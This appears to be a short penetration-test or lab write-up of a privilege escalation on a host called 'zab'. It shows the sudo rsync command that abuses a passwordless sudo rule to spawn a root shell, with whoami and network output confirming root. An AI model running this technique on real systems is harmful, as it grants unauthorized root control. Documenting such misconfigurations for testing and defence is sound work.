Zab_Privilege_Escalation

sudo rsync

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The zabbix user has sudo privileges to execute the /usr/bin/rsync command as anyone without getting prompted for password.

zabbix@zab:/$ sudo -u root /usr/bin/rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
whoami
root
hostname
zab
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:04:3d brd ff:ff:ff:ff:ff:ff
    altname enp11s0
    inet 192.168.239.210/24 brd 192.168.239.255 scope global ens192
       valid_lft forever preferred_lft forever

System level compromise